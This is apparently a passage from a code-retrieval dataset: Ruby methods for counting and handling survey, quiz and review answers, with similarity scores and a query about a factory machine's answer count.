"def get_explanations(knowledge, sorted_affinities)\n hash_dimension2answers = answers.group_by do |answer|\n answer.has_opinion? ? answer.question(knowledge).dimension : :no_opinion\n end\n\n explanations = {}\n hash_question_idurl2min_max_weight = {}\n answers.each do |answer|\n question = answer.question(knowledge)\n hash_pidurl2weight = question.delta_weight(answer)\n hash_pidurl2weight = hash_pidurl2weight * question.weight\n min_weight, max_weight = hash_pidurl2weight.min_max\n hash_question_idurl2min_max_weight[answer.question_idurl] = [min_weight, max_weight]\n ab = (min_weight == max_weight) ? nil : Root.rule3_ab(min_weight, max_weight)\n sorted_affinities.each do |affinity|\n product_idurl = affinity.product_idurl\n weight = hash_pidurl2weight[product_idurl]\n explanations[product_idurl] ||= {}\n explanations[product_idurl][answer.question_idurl] = { :sum => weight, :percentage => (ab ? Root.rule3_cache(weight, ab) : 1.0) }\n end\n end\n\n # compute the sum per dimension\n hash_dimension2answers.each do |dimension, answers_4_dimension|\n puts \"answers_4_dimension=#{answers_4_dimension.class}\"\n sum_weight_questions = answers_4_dimension.inject(0.0) { |s, answer| s += answer.question(knowledge).weight }\n explanations.each do |product_idurl, explanation|\n sum_weight = 0.0\n sum_percentage = 0.0\n sum_weight_questions = 0.0\n answers_4_dimension.each do |answer|\n question_weight = answer.question(knowledge).weight\n sum_weight += explanation[answer.question_idurl][:sum]\n sum_percentage += (explanation[answer.question_idurl][:percentage] * question_weight)\n sum_weight_questions += question_weight\n end\n explanation[\"dimension_#{dimension}\"] = {:sum => sum_weight, :percentage => sum_percentage / sum_weight_questions }\n end\n end\n\n # compute the total sum\n sum_weight_questions = answers.inject(0.0) { |s, answer| s += answer.question(knowledge).weight }\n explanations.each do |product_idurl, explanation|\n sum_weight = answers.inject(0.0) { |s, answer| s += explanation[answer.question_idurl][:sum] }\n sum_percentage = answers.inject(0.0) { |s, answer| s += (explanation[answer.question_idurl][:percentage] * answer.question(knowledge).weight) }\n\n explanation[\"aggregated_dimensions\"] = {:sum => sum_weight, :percentage => sum_percentage / sum_weight_questions }\n end\n\n [explanations, hash_dimension2answers, hash_question_idurl2min_max_weight]\n end",
"def answers=(ans)\n @answers = ans.map { |a| Answer.new(a) }\n end",
"def compare_reviews_with_questions_responses(reviews, questions)\n review_text_arr = reviews\n #response = Response.find(:first, :conditions => [\"map_id = ?\", map_id])\n #scores = Score.find(:all, :conditions => [\"response_id = ?\", response.id])\n #questions = Array.new\n #fetching the questions for the responses\n# for i in 0..scores.length - 1\n# questions << Question.find_by_sql([\"Select * from questions where id = ?\", scores[i].question_id])[0].txt\n# end\n \n count_copies = 0 #count of the number of responses that are copies either of questions of other responses\n rev_array = Array.new #holds the non-plagiairised responses\n #comparing questions with text\n for i in 0..questions.length - 1\n if(!questions[i].nil? and !review_text_arr[i].nil? and questions[i].downcase == review_text_arr[i].downcase)\n count_copies+=1\n next #skip comparing with other responses\n end\n \n #comparing response with other responses\n flag = 0\n for j in 0..review_text_arr.length - 1\n if(i != j and !review_text_arr[i].nil? and !review_text_arr[j].nil? and review_text_arr[i].downcase == review_text_arr[j].downcase)\n count_copies+=1\n flag = 1\n break\n end\n end\n\n if(flag == 0) #ensuring no match with any of the review array's responses\n rev_array << review_text_arr[i]\n end\n end\n \n #setting @review_array as rev_array\n if(count_copies > 0) #resetting review_array only when plagiarism was found\n auto_metareview.review_array = rev_array\n end\n \n if(count_copies > 0 and count_copies == scores.length)\n return ALL_RESPONSES_PLAGIARISED #plagiarism, with all other metrics 0\n elsif(count_copies > 0)\n return SOME_RESPONSES_PLAGIARISED #plagiarism, while evaluating other metrics\n end\n end",
"def update\n @problem_set = ProblemSet.find(params[:problem_set_id])\n @question = Question.where(:id => params[:id], :problem_set_id => params[:problem_set_id]).first\n @answers = Answer.where(:question_id => @question.id)\n\n ans = [:answer1, :answer2, :answer3, :answer4]\n respond_to do |format|\n if @question.update_attributes(params[:question])\n \n @answers.each_with_index do |a, i|\n a.answer = params[ans[i]][:answer]\n a.correct = params[ans[i]][:correct]\n a.save\n end\n\n if @answers.size < 4 and params[ans[@answers.size]][:answer] != \"\"\n for i in @answers.size..4\n if params[ans[i]][:answer] != \"\"\n a = Answer.new(params[ans[i-1]])\n a.question_id = @question.id\n a.save\n end\n end\n end\n format.html { redirect_to(edit_problem_set_question_path(@problem_set.id, @question.count), :notice => 'Question was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def questionnaire_items\n questions = opts[:questionnaire_response]&.questionnaire_response_data&.fetch('item')\n\n composer.move_down(composer.bounds.top - 120)\n\n questions.each do |q|\n answers = q['answer']\n\n composer.table([[q['text'], '']], table_question_style)\n composer.move_down(16)\n\n answers.each do |a|\n composer.table([['', a['valueString']]], table_answer_style)\n composer.move_down(10)\n end\n end\n end",
"def update_answers_params\n [].tap do |result|\n actable_attributes = [:id]\n actable_attributes.push(update_answer_type_params) if can?(:update, @submission)\n\n result.push(:grade) if can?(:grade, @submission)\n result.push(actable_attributes: actable_attributes)\n end\n end",
"def store( *answers )\n idx = @all_answers[ :lastid ] += 1\n @all_answers[ idx ] = Answer.new( *answers )\n serialize\n idx\n end",
"def sibling_responses\n self.question.responses.where.not(id: self.id)\n end",
"def sibling_responses\n self.question.responses.where.not(id: self.id)\n end",
"def responses\n object.questions.map do |q|\n Embedded::ResponseSerializer.new(q.filtered_responses.first,root: false)\n end\n end"
] |
[
"0.59596515",
"0.55361146",
"0.5426413",
"0.54173076",
"0.5416092",
"0.53365755",
"0.53365755",
"0.5334735",
"0.5283233",
"0.5237453",
"0.5222678",
"0.51908827",
"0.51536494",
"0.50896204",
"0.5064321",
"0.5054957",
"0.5046981",
"0.5016765",
"0.50117314",
"0.4989565",
"0.49804267",
"0.49716222",
"0.49504855",
"0.4944755",
"0.4938356",
"0.49117118",
"0.47885138",
"0.4773955",
"0.4770939",
"0.47612077",
"0.47590095",
"0.47582102",
"0.47540626",
"0.47532332",
"0.47492707",
"0.47490847",
"0.47486308",
"0.472442",
"0.4710543",
"0.47092956",
"0.4698493",
"0.46932608",
"0.4688777",
"0.46627828",
"0.46594268",
"0.46592554",
"0.46577",
"0.4647965",
"0.46450722",
"0.46429798",
"0.46363437",
"0.46151733",
"0.46134952",
"0.46131784",
"0.4612905",
"0.46092084",
"0.4602085",
"0.45871484",
"0.4583",
"0.45787266",
"0.4568761",
"0.45683149",
"0.45679736",
"0.4563665",
"0.45601538",
"0.45584387",
"0.45503232",
"0.45481813",
"0.45462215",
"0.45456874",
"0.4534812",
"0.45312592",
"0.45285845",
"0.4526193",
"0.45218775",
"0.45175362",
"0.45068842",
"0.44981173",
"0.44950837",
"0.44948953",
"0.44720665",
"0.4468013",
"0.44644862",
"0.44632015",
"0.44628558",
"0.44613618",
"0.4446836",
"0.44384113",
"0.4438323",
"0.44360688",
"0.44339168",
"0.44333246",
"0.44281176",
"0.44263542",
"0.44258475",
"0.44250172",
"0.44209898",
"0.44195873",
"0.44195873",
"0.4418891"
] |
0.69876224
|
0
|
Returns the number of answers currently at this machine without forcing the answers to load. def process_answers if answer_count > 500 ... end label group1: ary1 end Use this method inside a process block or inside a Machineprocess_answers method definition.
|
def answer_count
return @answers.length if @answers
Factory.count_answers_at_machine(@location)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def bad_results\n answer_choice_count = {}\n answer_choices = self.answer_choices\n answer_choices.each do |answer_choice|\n answer_choice_count[answer_choice.answer_choice_body] = answer_choice.responses.length\n end\n\n answer_choice_count\n end",
"def n_results\n output = {}\n answer_choices.each do |answer|\n output[answer.body] = answer.responses.count\n end\n output\n end",
"def num_answered_questions\n return Answer.where(id: answers.map(&:id)).includes({ question: :question_format }, :question_options).reduce(0) do |m, a|\n if a.is_valid?\n m+=1\n end\n m\n end\n end",
"def answer_count\n if is_standard?\n respond_to?(:copy_answer_count_col) ? copy_answer_count_col : copies.inject(0){|sum,c| sum += c.answer_count}\n else\n respond_to?(:answer_count_col) ? answer_count_col : answers.count\n end\n end",
"def responses_count\n @responses_count ||= self.responses.visible.count || 0\n end",
"def results\n responses\n .includes(answer_choices)\n .group(:answer)\n .count\n end",
"def find_number_of_responses(question)\n empty_response_character=''\n case question.question_type.q_type\n when \"TextBox\", \"TextArea\", \"Rating\" # For ratings, we count responses for comments instead of dropdown\n empty_response_character=''\n when \"DropDown\"\n empty_response_character= @questionnaire.min_question_score\n end\n response_count=Answer.find_by_sql([\"SELECT * FROM answers s, responses r, response_maps rm WHERE s.response_id=r.id AND r.map_id= rm.id AND rm.reviewed_object_id=? AND rm.reviewee_id=? AND s.comments != ? AND s.question_id=?\", @map.reviewed_object_id, @map.reviewee_id, empty_response_character, question.id]).count\n response_count\n end",
"def find_number_of_responses(question)\n empty_response_character=''\n case question.question_type.q_type\n when \"TextBox\", \"TextArea\", \"Rating\" # For ratings, we count responses for comments instead of dropdown\n empty_response_character=''\n when \"DropDown\"\n empty_response_character= @questionnaire.min_question_score\n end\n response_count=Answer.find_by_sql([\"SELECT * FROM answers s, responses r, response_maps rm WHERE s.response_id=r.id AND r.map_id= rm.id AND rm.reviewed_object_id=? AND rm.reviewee_id=? AND s.comments != ? AND s.question_id=?\", @map.reviewed_object_id, @map.reviewee_id, empty_response_character, question.id]).count\n response_count\n end",
"def size\n @answer_array.length\n end",
"def find_number_of_responses(question)\n empty_response_character = ''\n case question.question_type.q_type\n when \"TextBox\", \"TextArea\", \"Rating\" # For ratings, we count responses for comments instead of dropdown\n empty_response_character = ''\n when \"DropDown\"\n empty_response_character = @questionnaire.min_question_score\n end\n response_count = Answer.find_by_sql([\"SELECT * FROM answers s, responses r, response_maps rm WHERE s.response_id=r.id AND r.map_id= rm.id AND rm.reviewed_object_id=? AND rm.reviewee_id=? AND s.comments != ? AND s.question_id=?\", @map.reviewed_object_id, @map.reviewee_id, empty_response_character, question.id]).count\n response_count\n end",
"def parse_counts\n return if @section_count || @question_count\n\n node = Nokogiri::XML(xml_with_answers)\n @section_count = node.css('section section').count\n if default_settings && default_settings[:per_sec]\n @question_count = @section_count * default_settings[:per_sec].to_i\n else\n @question_count = node.css('item').count\n end\n end",
"def answered_questions_count\n return 0 if survey.nil?\n survey.answered_count\n end",
"def results\n # { answer choice text => count of responses }\n results_hash = Hash.new(0)\n\n answer_choices.each do |choice|\n # results_hash[choice.question.text] += choice.responses.length \n results_hash[choice.text] += choice.responses.length \n end\n \n results_hash\n end",
"def n_plus_one_result\n poll_result = {}\n\n all_answer = self.answer_choices\n all_answer.each do |ans|\n poll_result[ans.choice] = ans.responses.count\n end\n\n poll_result\n end",
"def count_group_responses(questions)\n questions.map{|q| responses.select{|r| (r.question_id.to_i == q.id.to_i) && !r.response_group.nil?}.group_by(&:response_group).size }.max\n end",
"def find_number_of_responses_for_checkbox(checkbox_questions)\n question_ids = []\n checkbox_questions.each do |checkbox_question|\n question_ids << checkbox_question.id\n end\n response_count = Answer.find_by_sql([\"SELECT * FROM answers s, responses r, response_maps rm WHERE s.response_id=r.id AND r.map_id= rm.id AND rm.reviewed_object_id=? AND rm.reviewee_id=? AND s.comments != '0' AND s.question_id IN (?) GROUP BY r.map_id\", @map.reviewed_object_id, @map.reviewee_id, question_ids]).count\n response_count\n end",
"def has_answers?\n answer_count > 0\n end",
"def answers_count\n\n\n self.answers_count_yeses + self.answers_count_noes\n\n\n end",
"def num_answered_questions(plan)\n return 0 if plan.nil?\n return sections.reduce(0) do |m, s|\n m + s.num_answered_questions(plan) \n end\n end",
"def results\n answers_with_count = self\n .answer_choices\n .select(\"answer_choices.*, COUNT(responses.id) AS response_count\")\n .joins(\"LEFT OUTER JOIN responses ON answer_choices.id = responses.answer_choices_id\")\n .group(\"answer_choices.id\")\n\n answers_count_hash = {}\n\n answers_with_count.map do |answer|\n answers_count_hash[answer.text] = answer.response_count\n end\n\n answers_count_hash\n end",
"def question_count \n @by_question.count\n end",
"def enough_answers?\n self.answers.count >= 3\n end",
"def results\n results_count = Hash.new(0)\n\n joins_sql = <<-SQL\n LEFT OUTER JOIN\n responses\n ON\n responses.answer_choice_id = answer_choices.id\n SQL\n\n responses = self.answer_choices\n .select(\"answer_choices.*, COUNT(responses.id) AS answer_count\")\n .joins(joins_sql)\n .group(\"answer_choices.id\")\n\n responses.each do |response|\n results_count[response.text] = response.answer_count\n end\n results_count\n end",
"def process_panel(questions, questions_response_count)\n questions_response_count=Hash[questions_response_count.sort_by { |k, v| [v, k] }]\n panel_score=0\n sorted_panel_questions=Array.new\n questions_response_count.each {\n |key, value|\n sorted_panel_questions << questions.select { |q| q.id.eql?(key) }[0]\n panel_score+=value\n }\n return panel_score, sorted_panel_questions\n end",
"def process_panel(questions, questions_response_count)\n questions_response_count=Hash[questions_response_count.sort_by { |k, v| [v, k] }]\n panel_score=0\n sorted_panel_questions=Array.new\n questions_response_count.each {\n |key, value|\n sorted_panel_questions << questions.select { |q| q.id.eql?(key) }[0]\n panel_score+=value\n }\n return panel_score, sorted_panel_questions\n end",
"def post_process(answer)\n answer\n end",
"def num_questions\n n = 0\n sections.each do |s|\n n += s.questions.size\n end\n n\n end",
"def results\n ans_hash = Hash.new(0)\n h = self\n .answer_choices\n .select(\"answers.body, COUNT(responses.id) AS response_count\")\n .joins('left outer join responses on responses.answer_id = answers.id')\n .group(\"answers.id\")\n h.map do |ans|\n ans_hash[ans.body] = ans.response_count\n end\n ans_hash\n end",
"def count_group_responses(group)\n counts = []\n group.questions.each do |question|\n counts << Response.count(\"response_group\",:conditions => [\"response_set_id =? AND question_id=? AND response_group IS NOT NULL\", self.id, question.id], :distinct => true)\n end\n \n counts.max #since response groups can be partially filled, such that for one response group the user may have answered only one of the questions in the group. We want to still count the partially complete group response.\n end",
"def ask_count\n @asks.count\n end",
"def question_lines_count(question_lines)\n question_lines.reduce(0) do |acc, line|\n acc + @prompt.count_screen_lines(line)\n end\n end",
"def count_question_responses(question)\n Response.count(:conditions => [\"response_set_id =? AND question_id=?\", self.id, question.id])\n end",
"def n_responses\n if Rails.configuration.comments_active then\n\t self.comments.count\n else\n 0\n end\n end",
"def process_panel(questions, questions_response_count)\n questions_response_count = Hash[questions_response_count.sort_by {|k, v| [v, k] }]\n panel_score = 0\n sorted_panel_questions = []\n questions_response_count.each do |key, value|\n sorted_panel_questions << questions.select {|q| q.id.eql?(key) }[0]\n panel_score += value\n end\n [panel_score, sorted_panel_questions]\n end",
"def qing_answer_count(qing)\n # fetch the counts if not already fetched\n if !@answer_counts\n\n # if form is standard, look for answers for copy questionings, since the std questioning will never have answers\n joins = if is_standard?\n %{LEFT OUTER JOIN questionings copies ON questionings.id = copies.standard_id\n LEFT OUTER JOIN answers ON answers.questioning_id = copies.id}\n else\n \"LEFT OUTER JOIN answers ON answers.questioning_id = questionings.id\"\n end\n\n @answer_counts = Questioning.find_by_sql([%{\n SELECT questionings.id, COUNT(DISTINCT answers.id) AS answer_count\n FROM questionings #{joins}\n WHERE questionings.form_id = ?\n GROUP BY questionings.id\n }, id]).index_by(&:id)\n end\n\n # get the desired count\n @answer_counts[qing.id].try(:answer_count) || 0\n end",
"def me\n q = Question.approved\n\n @my_answers_count = Question.approved.where(id: current_account.answers.map(&:parent_id)).count\n @unanswered_questions_count = Question.approved.where(children_count: 0)\n .where.not(id: current_account.answers.map(&:parent_id))\n .count\n\n @published_answers_count = 0\n @pending_answers_count = 0\n @rejected_answers_count = 0\n\n if params[:answer].blank? || 'me'.eql?(params[:answer])\n my_answers = current_account.answers\n my_answers = my_answers.where(state: params[:state]) unless params[:state].blank?\n\n @published_answers_count = q.dup.where(id: current_account.answers.approved.map(&:parent_id)).count\n @pending_answers_count = q.dup.where(id: current_account.answers.pending.map(&:parent_id)).count\n @rejected_answers_count = q.dup.where(id: current_account.answers.rejected.map(&:parent_id)).count\n\n q = q.where(id: my_answers.map(&:parent_id))\n elsif 'unanswered'.eql?(params[:answer].to_s)\n q = q.where(children_count: 0)\n .where.not(id: current_account.answers.map(&:parent_id))\n end\n\n @q = q.search(params[:q])\n @q.sorts = 'id DESC' if @q.sorts.empty?\n\n page = params[:page].to_i\n page = 1 if page < 1\n\n @questions = @q.result.paginate(page: page, per_page: 10)\n end",
"def company_count\n return 0 unless answer_id\n Relationship.where(answer_id: answer_id).count\nend",
"def num_questions\n n = 0\n self.sections.each do |s|\n n+= s.questions.size()\n end\n return n\n end",
"def questionings_count\n respond_to?(:questionings_count_col) ? (questionings_count_col || 0).to_i : questionings.count\n end",
"def process_answers\n if self.answers.present?\n fields.each do |field|\n # remove nil values\n if field.field_type_checkbox?\n self.answers[field.id.to_s] = if self.answers[field.id.to_s].is_a?(String)\n JSON.parse(self.answers[field.id.to_s]).reject(&:blank?).uniq\n elsif self.answers[field.id.to_s].is_a?(Array)\n self.answers[field.id.to_s].reject(&:blank?).uniq\n end\n\n # Process to store attachment file\n elsif field.field_type_file?\n data = self.answers[field.id.to_s]\n if data.present?\n uploader = AttachmentUploader.new\n uploader.question_id = field.id.to_s\n uploader.form_id = form_id\n uploader.store!(data)\n self.answers[field.id.to_s] = uploader.url\n end\n end\n end\n end\n end",
"def set_responses_estimate\n unless @total_responses\n if responses.size == 0\n failure_rate = 1 - 1.0 * self.accuracy_target/100\n else \n failure_rate = 1.0 * responses.incorrect.size/responses.size\n end\n k = 100 * failure_rate * failure_rate + 1\n @total_responses = (questions.current.size * self.repetitions * k).to_i\n @total_responses = (@total_responses/100).to_i * 100 if @total_responses > 200\n end\n end",
"def enough_responses?\n game.current_round.response(self).count >= game.current_round.question.answers\n end",
"def num_matches\n count = 0\n other_answers.each do |a|\n count += 1 if base_answer.food_groups == a.food_groups\n end\n count\n end",
"def num_answered_calls\n answered_contacts.count\n end",
"def number_correct\n @correct_answers = []\n\n @turns.each do |turn|\n @correct_answers << turn.correct?\n end\n @correct_answers.count(true)\n end",
"def copy_responses_count\n if is_standard?\n respond_to?(:copy_responses_count_col) ? (copy_responses_count_col || 0).to_i : copies.inject(0){|sum, c| sum += c.responses_count}\n else\n raise \"non-standard forms should not request copy_responses_count\"\n end\n end",
"def create\n @num_questions_2_3_1_9 = 0\n @num_questions_2_3_10_18 = 0\n @sum_questions_1_18 = 0\n @num_questions_2_3_19_26 = 0\n @num_questions_2_3_27_40 = 0\n @num_questions_2_3_41_47 = 0\n @num_questions1_2_3_48_55 = 0\n\n\n\n\n (1..47).each do |i|\n question_response = params[\"question#{i}\"]\n if i > 0 && i < 10\n if question_response == '2' || question_response == '3'\n @num_questions_2_3_1_9 += 1\n end\n end\n if i >= 10 && i <= 18\n if question_response == '2' || question_response == '3'\n @num_questions_2_3_10_18 += 1\n end\n end\n\n if i >= 19 && i <= 26\n if question_response == '2' || question_response == '3'\n @num_questions_2_3_19_26 += 1\n end\n end\n\n if i >= 27 && i <= 40\n if question_response == '2' || question_response == '3'\n @num_questions_2_3_27_40 += 1\n end\n end\n\n if i >= 41 && i <= 47\n if question_response == '2' || question_response == '3'\n @num_questions_2_3_41_47 += 1\n end\n end\n\n if i > 0 && i < 19\n @sum_questions_1_18 += question_response.to_i\n end\n end\n answer_array = []\n (48..55).each do |i|\n question_response = params[\"question#{i}\"]\n\n if question_response == '4' || question_response == '5'\n @num_questions1_2_3_48_55 += 1\n end\n\n answer_array = answer_array.push(question_response.to_i)\n @average_score = answer_array.sum / answer_array.size.to_f\n end\n\n if @num_questions_2_3_1_9 >= 6 && @num_questions1_2_3_48_55 > 0\n @diagnosis1= \"Predominantly Inattentive subtype\"\n end\n if @num_questions_2_3_10_18 >= 6 && @num_questions1_2_3_48_55 > 0\n @diagnosis2= \"Predominantly Hyperactive/Impulsive subtype\"\n end\n if @num_questions_2_3_1_9 >= 6 && @num_questions1_2_3_48_55 > 0 && @num_questions_2_3_10_18 >= 6\n @diagnosis3= \"ADHD Combined Inattention/Hyperactivity\"\n end\n if @num_questions_2_3_19_26 >= 4 && @num_questions1_2_3_48_55 > 0\n @diagnosis4= \"Oppositional-Defiant Disorder Screen\"\n end\n if @num_questions_2_3_27_40 >= 3 && @num_questions1_2_3_48_55 > 0\n @diagnosis5= \"Conduct Disorder Screen\"\n end\n if @num_questions_2_3_41_47 >= 3 && @num_questions1_2_3_48_55 > 0\n @diagnosis6= \"Anxiety/Depression Screen\"\n end\n\n end",
"def process_answers\n raise NoMethodError, \"define process for machine #{@location} before running factory\"\n end",
"def update_replies_count\n Answer.update_counters(answer_id, replies_count: 1)\n end",
"def get_loop_count(jql_response_amount)\n\tif jql_response_amount == true\n\t\treturn 0\n\telsif jql_response_amount == false\n\t\tKernel.abort(\"Nothing was found...\")\n\telsif jql_response_amount > 0\n\t\treturn jql_response_amount - 1\n\telse\n\t\tKernel.abort(\"Nothing was found...\")\n\tend\nend",
"def remaining_responses\n game.current_round.question.answers - game.current_round.response(self).count\n end",
"def answers\n @answers ||= generate_answers\n end",
"def update_kase_responses_count\n if self.kase && self.kase.class.columns.to_a.map {|a| a.name.to_sym}.include?(:responses_count)\n self.kase.class.transaction do \n self.kase.lock!\n self.kase.update_attribute(:responses_count, \n self.kase.responses.count(self.class.find_options_for_visible))\n end\n end\n end",
"def execute\n @questionnaire_content = questionnaire.content\n offset = 0\n loop do\n response_ids = questionnaire.responses.completed.limit(BATCH_SIZE).offset(offset).pluck(:content)\n break if response_ids.blank?\n\n recalculate_response_ids(response_ids)\n offset += BATCH_SIZE\n end\n recalculate_distribution\n end",
"def complete(count, answer = nil, questionnaire_min, questionnaire_max, dropdown_or_scale)\n html = '<div><label for=\"responses_' + count.to_s + '\">' + txt + '</label></div>'\n question_advices = QuestionAdvice.where(question_id: id).sort_by(&:id)\n advice_total_length = 0\n question_advices.each do |question_advice|\n advice_total_length += question_advice.advice.length if question_advice.advice && question_advice.advice != ''\n end\n # show advice given for different questions\n html += advices_criterion_question(count, question_advices) if !question_advices.empty? && (advice_total_length > 0)\n # dropdown options to rate a project based on the question\n html += dropdown_criterion_question(count, answer, questionnaire_min, questionnaire_max) if dropdown_or_scale == 'dropdown'\n # scale options to rate a project based on the question\n html += scale_criterion_question(count, answer, questionnaire_min, questionnaire_max) if dropdown_or_scale == 'scale'\n safe_join([''.html_safe, ''.html_safe], html.html_safe)\n end",
"def run_test(questions)\n answer = \"\" # create a variable called answer empty string\n score = 0 # keeping track of the questions they get right\n\n # looping through the questions\n for question in questions\n puts question.prompt\n \n # get answer from the user\n answer = gets.chomp()\n\n if answer == question.answer\n score += 1\n end\n end\n\n puts (\"You got \" + score.to_s + \" / \" + questions.length().to_s)\n\nend",
"def agreed_with_community\n responses = self.responses\n count = 0\n responses.each do |response|\n #count += 1 if response.verdict == response.question.get_community_verdict\n count += 1 if response.question.get_community_verdict(response.verdict)\n end\n return count\n end",
"def increment_helper_no_reply_count!\n increment_helper_no_reply_count\n save\n end",
"def extract(answer_groups)\n @question_group.questions.collect do |question|\n results =\n case question\n when Rapidfire::Questions::Select, Rapidfire::Questions::Radio,\n Rapidfire::Questions::Checkbox\n answer_groups_answers = get_answer_groups_answers(answer_groups, question)\n all_answers = []\n answer_groups_answers.each do |text|\n if text.is_a?(FalseClass) || text.is_a?(TrueClass)\n all_answers << text\n else\n all_answers << text.split(',') unless text.nil?\n end\n end\n answers = all_answers.flatten\n\n answers.inject(Hash.new(0)) { |total, e| total[e] += 1; total } unless answers.nil?\n\n when Rapidfire::Questions::Short, Rapidfire::Questions::Date,\n Rapidfire::Questions::Long, Rapidfire::Questions::Numeric\n get_answer_groups_answers(answer_groups, question)\n end\n\n QuestionResult.new(question: question, results: results)\n end\n end",
"def processings\n @processings.size\n end",
"def num_section_answers(plan, section)\n count = 0\n plan_remove_list = remove_list(plan)\n plan.answers.each do |answer|\n next unless answer.question.section_id == section.id &&\n plan_remove_list.exclude?(answer.question_id) &&\n section.question_ids.include?(answer.question_id) &&\n answer.answered?\n\n count += 1\n end\n count\n end",
"def count\n @options[:select] = \"COUNT\"\n @options.delete(:attributes_to_get)\n\n response = run\n\n while continue?(response)\n @options[:exclusive_start_key] = response.last_evaluated_key\n response = run(response)\n end\n\n response.count\n end",
"def count_items\n QuestionCell.count(\"id\", :conditions => [\"question_id = ? AND answer_item != ? AND col = 2\", self.id, \"\" ])\n end",
"def index\n @questions = Question.order(:id)\n \n @qYes = Hash.new(0)\n @qNo = Hash.new(0)\n \n @questions.each do |question|\n yes=Answer.where(:question_id => question.id).find_by_ansid(1) || Answer.create(question_id: question.id , ansid: 1 , count: 0)\n no =Answer.where(:question_id => question.id).find_by_ansid(2) || Answer.create(question_id: question.id , ansid: 2 , count: 0)\n @qYes[question]= yes.count\n @qNo[question]= no.count \n end\n\n end",
"def increment_responses_count\n self.responses_count += 1\n save\n end",
"def num_answered_questions(plan)\n plan&.num_answered_questions.to_i\n end",
"def votes\n scenario_answers.count\n end",
"def getNumQuestionDetailItems()\n return @sectionrec_config.size()\n end",
"def run_quiz(questions)\r\n answer = \"\"\r\n score = 0\r\n for question in questions #a for loop for every question in the above array\r\n puts question.prompt\r\n answer = gets.chomp()\r\n if answer == question.answer\r\n score += 1\r\n end\r\nend\r\n puts \"you got\" + score.to_s + \"/\" + questions.length.to_s \r\nend",
"def increment_no_count\n # Question.increment_counter(:no_count, self.question_id) # using this breaks the callback on questions :update_answer_count \n q = self.question\n q.no_count += 1\n q.save\n true\n end",
"def no_questions_matches_no_answers?\n num_questions = question_ids.length\n pre_fetched_answers = Answer\n .includes({ question: :question_format }, :question_options)\n .where(id: answer_ids)\n num_answers = pre_fetched_answers.reduce(0) do |m, a|\n if a.is_valid? \n m+=1\n end\n m\n end\n return num_questions == num_answers\n end",
"def scale_criterion_question(count, answer = nil, questionnaire_min, questionnaire_max)\n if size.nil? || size.blank?\n cols = '70'\n rows = '1'\n else\n cols = size.split(',')[0]\n rows = size.split(',')[1]\n end\n html = '<input id=\"responses_' + count.to_s + '_score\" name=\"responses[' + count.to_s + '][score]\" type=\"hidden\"'\n html += 'value=\"' + answer.answer.to_s + '\"' unless answer.nil?\n html += '><table><tr><td width=\"10%\"></td>'\n\n (questionnaire_min..questionnaire_max).each do |j|\n html += '<td width=\"10%\"><label>' + j.to_s + '</label></td>'\n end\n\n html += '<td width=\"10%\"></td></tr><tr><td width=\"10%\">'\n html += min_label unless min_label.nil?\n html += '</td>'\n\n (questionnaire_min..questionnaire_max).each do |j|\n html += '<td width=\"10%\"><input type=\"radio\" id=\"' + j.to_s + '\" value=\"' + j.to_s + '\" name=\"Radio_' + id.to_s + '\"'\n html += 'checked=\"checked\"' if (!answer.nil? && answer.answer == j) || (answer.nil? && questionnaire_min == j)\n html += '></td>'\n end\n html += '<script>jQuery(\"input[name=Radio_' + id.to_s + ']:radio\").change(function() {'\n html += 'var response_score = jQuery(\"#responses_' + count.to_s + '_score\");'\n html += 'var checked_value = jQuery(\"input[name=Radio_' + id.to_s + ']:checked\").val();'\n html += 'response_score.val(checked_value);});</script><td width=\"10%\">'\n html += max_label unless max_label.nil?\n html += '</td><td width=\"10%\"></td></tr></table>'\n html += '<textarea cols=' + cols + ' rows=' + rows + ' id=\"responses_' + count.to_s + '_comments\"' \\\n ' name=\"responses[' + count.to_s + '][comment]\" class=\"tinymce\">'\n html += answer.comments if !answer.nil? && !answer.comments.nil?\n html += '</textarea>'\n end",
"def my_count\n if block_given?\n num = 0\n self.my_each{|item| num += 1 if yield(item)}\n num\n else\n # if no block given return size of array\n self.length\n end\n end",
"def run_test(questions)\n answer = \"\"\n score = 0\n for question in questions\n puts question.prompt\n answer = gets.chomp().to_s\n if answer == question.answer\n score += 1\n end #end if\n end #end loop\n puts (\"You got \" + score.to_s + \"/\" + questions.length().to_s)\nend",
"def getNumberOfSolutions; @solutions.length; end",
"def run_test(questions)\n answer = \"\"\n score = 0\n for question in questions \n puts question.prompt\n answer = gets.chomp() #it will store whatever the user respond into the answer \n if answer == question.answer #another attribute of question class\n score += 1 \n end\n end \n puts (\"You got\" + score.to_s + \"/\" + questions.length().to_s)\nend",
"def questions_count\n self.questions.count\n end",
"def optimize_start_get_answerers *args\n sleep(5)\n \n # A solution for when nelder mead reaches a negative number\n args.each do |a|\n if a < 0\n return 999999999999\n end\n end\n \n mlt_parsed_partial_config = {\n 'mlt.mindf' => args[0].to_i,\n 'mlt.minwl' => args[1].to_i,\n 'mlt.maxqt' => args[2].to_i,\n 'titleBoost' => args[3],\n 'tagsBoost' => args[4]\n }\n \n # Use this to optimize get questions\n body_query_answerer_parsed_partial_config = {\n #'mindf' => args[5].to_i,\n #'bodyboost' => args[6]\n }\n \n # Use this to optimize get answerers\n body_query_question_parsed_partial_config = {\n 'mindf' => args[5].to_i,\n 'bodyboost' => args[6]\n }\n \n update_engine_config mlt_parsed_partial_config, body_query_answerer_parsed_partial_config, body_query_question_parsed_partial_config\n (number_of_good_questions, number_of_bad_questions) = start_get_answerers(@questions)\n number_of_questions = number_of_good_questions + number_of_bad_questions\n puts\n puts \"##############################################\"\n puts\n puts \"#{Time.now} Result for config #{mlt_parsed_partial_config} AND #{body_query_answerer_parsed_partial_config} AND #{body_query_question_parsed_partial_config} is: #{number_of_bad_questions} / #{number_of_questions}\"\n puts\n puts \"##############################################\"\n puts\n \n open('results.txt', 'a') { |f|\n f << \"#{Time.now} Result for config #{mlt_parsed_partial_config} AND #{body_query_answerer_parsed_partial_config} AND #{body_query_question_parsed_partial_config} is: #{number_of_bad_questions} / #{number_of_questions} \\n\"\n }\n \n return number_of_bad_questions\n end",
"def evaluate_answers\n self.answers.each do |a|\n q = a.question\n a.correct = (a.answer_mask == q.answer_mask)\n a.save(:validate=>false)\n end\n end",
